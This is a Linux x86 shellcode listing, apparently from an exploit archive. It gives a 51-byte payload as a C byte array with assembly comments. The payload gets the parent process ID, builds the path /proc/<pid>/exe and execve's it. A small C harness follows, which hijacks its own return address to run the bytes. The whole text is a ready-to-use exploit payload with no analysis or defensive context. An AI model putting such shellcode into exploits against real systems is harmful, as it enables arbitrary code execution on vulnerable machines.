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linux/x86 getppid() + execve(/proc/pid/exe) 51 bytes
[====================================================
linux/x86 getppid() + execve(/proc/pid/exe) 51 bytes
====================================================
/*
* (linux/x86) getppid() + execve("/proc/<pid>/exe", ["/proc/<pid>/exe", NULL]) - 51 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x40" // push $0x40
"\x58" // pop %eax
"\xcd\x80" // int $0x80
//
// <_convert>:
//
"\x4c" // dec %esp
"\x99" // cltd
"\x6a\x0a" // push $0xa
"\x5b" // pop %ebx
"\xf7\xf3" // div %ebx
"\x80\xc2\x30" // add $0x30,%dl
"\x88\x14\x24" // mov %dl,(%esp)
"\x85\xc0" // test %eax,%eax
"\x75\xef" // jnz _convert
"\x99" // cltd
"\x5b" // pop %ebx
"\x52" // push %edx
"\x68\x2f\x65\x78\x65" // push $0x6578652f
"\x53" // push %ebx
"\x68\x72\x6f\x63\x2f" // push $0x2f636f72
"\x68\x2f\x2f\x2f\x70" // push $0x702f2f2f
"\xb0\x0b" // mov $0xb,%al
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
# 0day.today [2024-09-28] #